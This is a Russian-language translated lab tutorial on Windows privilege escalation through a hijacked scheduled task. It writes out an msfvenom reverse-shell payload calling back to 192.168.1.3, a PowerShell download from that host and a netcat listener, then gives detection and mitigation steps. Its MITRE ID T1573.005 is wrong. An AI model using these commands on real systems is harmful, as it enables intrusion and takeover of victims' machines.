В этой статье пойдет речь о повышении привилегий Windows. Читатели узнают о том, как можно использовать планировщик задач для выполнения отложенных программ в своих целях.
Введение
Хакер может использовать Windows Task Scheduler для планирования или повторного выполнения вредоносных программ. Более того, он способен запускать приложения при входе в систему или по расписанию. Стоит отметить, что планировщик задач Windows может также использоваться для выполнения удаленного кода, чтобы запустить нужные процессы в контексте указанной учетной записи для повышения привилегий.
Планировщик задач
Можно запланировать автоматическое выполнение задач с помощью Task Scheduler. При использовании программы пользователь может выбрать любую программу для запуска в наиболее подходящий для него день и время. Планировщик задач проверяет указанные им критерии времени и задачи, а затем выполняет ее.
Неверно настроенная запланированная задача
Хакер может запустить выполнение процессов или повысить свои привилегии в системе, злоупотребляя любым скриптом, программой или службой, которые автоматически запускаются посредством планировщика задач.
- ID MITRE ATT&CK: T1573.005
- Платформа: Windows
Предустановки
- Целевой ПК: Windows 10
- ПК хакера: Kali Linux
- Условия выполнения: нужно скомпрометировать целевой ПК, имея изначально низкие привилегии (либо с помощью Metasploit, либо – Netcat)
- Цель: повысить уровень системных привилегий для пользователя с низкими привилегиями, используя запланированные задачи.
Установка лаборатории
Пользователь запускает планировщик задач.
Шаг 1. Он изучает библиотеку планировщика задач, чтобы создать новую задачу.
Шаг 2. Хакер назначает задачу для выполнения с наивысшими привилегиями для пользователя, вошедшего в систему.
Шаг 3. Хакер выбирает условия (триггеры) для запуска запланированной задачи.
Шаг 4. Он запланировал повторение выполнения будущей задачи.
Шаг 5. Когда хакер создает задачу, он должен указать операцию, которая будет выполняться при запуске его задачи.
Шаг 6. Нужно также указать тип операции, которая должна выполняться запланированной задачей. Например, можно запланировать резервное копирование данных с помощью какой-либо исполняемой программы.
Шаг 7. Эта операция по расписанию будет выполняться каждый день в определенное время, чтобы создать резервную копию данных.
Злоупотребление выполнением задачи
Шаг 8. Хакер может повысить привилегии, используя запланированную задачу. После первого выполнения можно запросить список для запланированного действия.
schtasks /query /fo LIST /V
Это помогает понять, какое приложение подключено для выполнения задачи и в какое время.
Чтобы получить Reverse Shell (NT Authority), следует создать вредоносный exe-файл, который может быть выполнен с помощью запланированной задачи. Используя Msfvenom, хакер создал исполняемый файл, который был внедрен в целевую систему.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > shell.exe
Чтобы злоупотребить запланированной задачей, хакер либо изменит приложение, либо может заменить исходный файл дубликатом. Чтобы вставить дубликат файла в тот же каталог, он переименовывает исходный файл в «file.bak».
Затем он отправил вредоносный file.exe в тот же каталог с помощью команды «wget».
powershell wget 192.168.1.3/shell.exe –o file.exe
Как только дубликат файла «file.exe» отправляется в тот же каталог, он будет автоматически выполняться планировщиком задач. Хакеру нужно удостовериться, что листенер Netcat находится в режиме «слушания» для получения привилегированного Reverse Shell.
nc -lvp 8888
whoami /priv
Обнаружение
- Такие инструменты, как Sysinternals Autoruns, могут обнаружить системные изменения, например, показывать текущие запланированные задания.
- Такие инструменты, как TCPView и Process Explore , могут помочь идентифицировать удаленные подключения касательно подозрительных служб или процессов.
- Обнаружить изменения также можно с помощью просмотра свойства и истории задач посредством командной строки:
Schtasks /Query /FO LIST /V
Следует включить конфигурацию “Microsoft-Windows-Tasksscheduler/Operational” в службе регистрации событий, чтобы получать сообщения о создании и обновлениях в запланированных задачах.
Митигирование
- Провести аудит системы с помощью автоматизированного скрипта, чтобы обнаружить ошибки или неправильную конфигурацию. Можно использовать следующие инструменты: WinPeas и SharpUp.
- Следует убедиться, что запланированная задача не выполняется от имени СИСТЕМЫ.
Стоит настроить запланированные задачи для выполнения от имени аутентифицированной учетной записи, а не СИСТЕМЫ. Соответствующий раздел реестра находится по адресу:
- HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl
Настройка может быть осуществлена с помощью GPO (пользуйтесь английским меню, так надежнее):
- Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled
Автор переведенной статьи: Aarti Singh.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.
Больше интересного материала на cisoclub.ru. Подписывайтесь на нас: Facebook | VK | Twitter | Instagram | Telegram | Дзен | Мессенджер | ICQ New | YouTube | Pulse.